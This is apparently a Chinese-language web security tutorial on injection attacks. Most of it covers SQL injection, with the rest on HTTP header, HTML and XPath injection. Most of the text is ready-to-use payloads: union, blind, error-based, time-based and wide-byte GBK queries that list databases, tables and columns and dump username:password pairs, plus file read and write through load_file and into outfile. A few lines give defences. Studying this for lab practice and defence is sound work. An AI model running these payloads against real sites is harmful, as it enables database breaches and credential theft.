(1)SQL注入、
(2)HTTP头注入、
(3)HTML注入(XSS)注入、
(4)XPATH注入、
(5)Xml的外部实体注入等...
SQL注入,是一种将SQL语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的SQL服务器加以解析并执行,最终达到欺骗服务器执行恶意的SQL命令。
(1).对用户的输入的数据,没有进行过滤,被带到了数据库中去执行,造成了SQL注入。
(2).程序编写者在处理程序与数据库交互时,使用字符串拼接的方式构造SQL语句
1,整形注入(不需要闭合,不需要注释符号)
2,字符型注入(需要闭合,需要注释符号)
1,联合查询型注入
2,报错注入
3,布尔型注入
4,延时注入
5,多语句查询注入
注:无论是报错型注入还是联合查询型注入都是基于整形注入和字符型注入两种类型下的。
1.判断注入类型(整型、字符型)
2.查询语言的字段数量(有多少列数继而找显示位)
测试代码POC
:
order by 字段总序号(折半测试)#
3.找到数据的暴露点(显示位)
测试代码POC
:
'union select 1,2,3,4......(order by获取的字段序号)#
4.在显示位对应的位置用SQL语句进行替换继而达到对数据库数据的提取数据库中表的数量:
测试代码POC
:
xxx1' union select 1,count(*),3,4,5,6,7,8 from information_schema.tables where table_schema=database()#
5.获取数据库中所有的表名:
测试代码POC
:
xxx1' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1#
6.获取指定表的字段数量:
测试代码POC
:
xxx1'union select 1,count(*),3,4......from information_schema.columns where table_name=’user’ table_schema=database();#
7.获取指定表的字段名:
xxx1'union select 1,group_concat(column_name),3,4.....from information_schema.columns where table_name=’user’;#
8.获取指定表中的数据:
xx1'union select 1,group_concat(concat(user,":",password)),3,4,5,6,7,8 from users;#
真实网站:
1、判断列数
order by 3
order by 4
......
2、判断显示位
?id=-1' union select 1,2,3--+
3、获取当数据库名称和当前连接数据库的用户
?id=-1' union select 1,user(),3--+
?id=-1' union select 1,database(),3--+
4.1、将数据库一个一个列出来
?id=-1' union select 1,(select schema_name from information_schema.schemata
limit 0,1),3--+
kobe' union select (select group_concat(schema_name) from
information_schema.schemata),database()#
union query SQL injection 联合查询 4.2、列出所有数据库 – ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
5、列出(数据库:test)中所有的表
– ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
6、列出(数据库:test 表:admin )中所有的字段
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
7、列出(数据库:test 表:admin )中的数据
?id=-1' union select 1,(select group_concat(0x23,username) from security.users),(select group_concat(0x23,password) from security.users)--+
MySQL注入中读写文件有哪些函数怎么使用的?
读取文件函数:load_file
前提:
文件绝对路径、能够使用联合查询(注入)、对web目录有写权限
实例:
注入再显示位中:1'union select 1,2,load_file(‘D://1.txt(绝对路径)’),4,5#
**写入文件函数:into outfile **
前提:
文件名必须全路径(绝对路径)、用户必须有写文件的权限、没有对单引号过滤
实例:
select 123456 init outfile ‘d:/111.txt’ Into dumpfile---mysql.ini 配置选项中secure-file-priv=’d:/’
利用前提:
页面上没有显示位,并且没有输出SQL语句执行错误信息,只能通过页面返回正常与不正常判断
优点:不需要显示位
缺点:速度慢,耗费大量时间。
常用函数:
left()
含义:Left()得到字符串左部指定个数的字符 –
使用方法:Left ( string, n ) string 为要截取的字符串, n 为长度 。
Sql实例 :
(1)left(database(),1)>’e’,查看数据库名第一位,left(database(),2)>’se’,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
Length():
含义:得到字符串的长度
使用方法:length(str) –
使用实例:
数据库测试 select database();
靶机测试 http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and (select length(database()))=8 --+
Substr():
含义 Substr()函数实现的功能是截取字符串
使用方法 Substr(string,start,lengh)
string为参数要处理的字符串,start为开始 位置,length为截取的字符串长度
使用实例 :
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位, substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e‘ 此处string参数可以为sql语句, 可自行构造sql语句进行注入。
ascii():
含义:Ascii()返回字符串str的最左面的ASCII代码值。如果str是空字符,返回0,如果str是 NULL,返回NULL •
使用方法 Ascii(str) •
SQL实例
1、Ascii(substr(database(),1,1))>1
2、Ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105– Substr()
利用前提:页面上没有显示位,但需要输出 SQL 语句执行错误信息
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息
rand():随机数函数
select rand();
floor():向下取整函数
select floor(rand());
count():计数函数
select count(*) from users;
group by:分组方法
select table_name,table_schema from information_schema.tables group by 1;
报错注入实例:
1、通过floor报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and (select 1 from(select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
获取有多少个数据库
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
通过limit 获取所有数据库名
and (select 1 from(select count(*),concat((select (select (select concat(0x7e, schema_name, 0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 通过修改limit的参数可获取所有的数据库名
完整的floor注入语句
select dsfg from (select count(*),concat((select payload),floor(rand(0)*2))x from information_schema.tables group by x)a
靶机测试语句
and (select dsfg from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)
通过UpdateXML报错
函数格式:and updatexml(1,(payload),1)
第一个参数: XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数: XPath_string (Xpath 格式的字符串 )
第三个参数: new_value , String 格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值,改变 XML_document 中符合 XPATH_string 的值
数据库测试: select updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)
注入示例:(1)and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1) (2)and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit ,1),0x7e),1)--+
解释:其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string 的格式,从而出现格式错误
利用前提: 页面上没有显示位,也没有输出SQL语句执行错误信息。
正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
优点: 不需要显示位,不需要出错信息。
缺点: 速度慢,耗费大量时间。
延时注入相关函数
if( 测试条件 , 结果 1, 结果 2)
If()函数解释:当测试条件为真时,结果显示1,若测试条件 为假时,则显示结果2 If()函数示例:
if(ascii(substr(database(),1,1))=114,sleep(5),sleep(100))
数据库名第一个字母时s,它的ascii码为115,条件不成立, 所以延迟显示100秒
ascii() 函数
substr() 函数
1、利用延时注入爆数据库中的表名
http://*********/sqli-labs-master/Less-9/
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),sleep(100))--+
2、利用延时注入爆数据库中表中的列名
http://**********/sqli-labs-master/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),sleep(100))--+
原理:
GBK占用两个字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等款 字节字符集
解释:输入%df和函数执行添加的%5C(),被合并成%df%5C。由于GBK是两字节,这个 %df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中 没有对应,所以被当成无效字符。
%df’:会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使 用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’” \‘ \“
注:宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为 是一个宽字节字符。
以上代码中:
mysqli_set_charset($link,"gbk");//设置了GBK编码。
$id = addslashes($_GET['id']);
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符
单引号(')
双引号(")
反斜杠(\)
NULL
判断是否存在注入
http://127.0.0.1/php_project/web_bj/show5.php
?id=6%df' and 1=1--+
判断显示列数
http://127.0.0.1/php_project/web_bj/show5.php
?id=6%df'order by 12 --+
判断显示位
http://127.0.0.1/php_project/web_bj/show5.php
?id=-6%df' union select 1,2,3,4,5,6,7,8,9,10,11,12--+
取数据库中的数据
http://127.0.0.1/php_project/web_bj/show5.php
?id=-6%df%27 union select 1,(select database()),3,4,5,6,7,8,9,10,11,12--+
在线靶机示例
https://www.********.com/vul/sqli/sqli_widebyte_get.php?name=a% df%27or+1=1--+&submit=%B2%E9%D1%AF
https://www.*********.com/vul/sqli/sqli_widebyte_get.php?name=a% df%27union+select+1,2--+&submit=%B2%E9%D1
https://www.*********.com/vul/sqli/sqli_widebyte_get.php?name=a% df%27union+select+user(),2--+&submit=%B2%E9%D1%AF%AF
6.SQL注入的防御:
1.对进入数据库的特殊字符(单引号,双引号,尖括号等)进行转换或编码转换。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
概念:
原理与经典 SQL 注入类似,只是将注入位置放在了 HTTP 头中,常见 http 头可能被污染的参数有这些:User-agent 浏览器版本 , Referer 来源,X-Forwarded-For 获取 ip,client_ip 获取 ip。通过该注入能够获取到大量的用户账号、手机号、注册地址;同时数据库是 Root 权限够执行系统命令。
测试方法:
以Burpsuite为例:
GET / HTTP/1.1
Host: www.******.com
Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0'(select*from(select(sleep(20)))a) #
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
3. HTTP协议的User-Agent头部为“Mozilla/5.0’
(select*from(select(sleep(20)))a) #”。其中“select * from (select(sleep(20)))”是不正常的,这里的攻击主要是让数据库什么也不干而睡眠20秒,从而浪费数据库处理线程。
概述:
HTML注入攻击包括框架注入和链接注入,框架注入攻击是一个所有基于 GUI的 浏览器攻击,它包括任何代码,如:JavaScript,VBScript(ActivX),Flash,AJAX(html+js+py)。代码被注入是由于脚本没有对它们正确验证,攻击者有可能注入含有恶意内容的 frame 或 iframe 标记。 “链接注入”是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本的URL嵌入其中。将URL嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。
测试方法:
在请求URL后添加恶意代码
例如:
HTTP://www.**********.com/greet.asp?name=
"http://www.ANYSITE.com/ANYSCRIPT.asp">
概述:
XPath是用来引用一部分 XML 文档的语言。它可以直接供应用程序用来查询 XML 文档,或用作较大操作的一部分(例如,将 XSLT 变换应用于 XML 文档,或将 XQuery 应用于 XML 文档,等等)。
XPath 的语法有些类似 SQL 查询,而且利用 XPath 也确实有可能在 XML 文档上形成类似 SQL 的查询。例如,假定 XML 文档包含“user”名称的元素,每个元素各包含 3 个子元素 -“name”、“password”和 “account”。这时下列 XPath 表达式会产生名称为“jsmith”、密码为“Demo1234”的用户的帐号(如果没有这样的用户,便是空字符串):string(//user[name/text()=‘jsmith’ and password/text()=‘Demo1234’]/account/text())因此,如果 Web 应用程序利用 XPath 来查询 XML 文档,且检索了从客户端接收其名称和密码的用户的账号,这类应用程序可能将这些值直接嵌入在 XPath查询中,从而产生安全风险。
测试方法:
1.网站网址为/demo.php?name=xml ,可能存在XPath漏洞
2.在网址最后面加上 ’ or 1=1 or ‘’=’ 或者 ‘]|//|//[‘注:’]|//|//[’ 为xpath语法,访问xml的所有节点。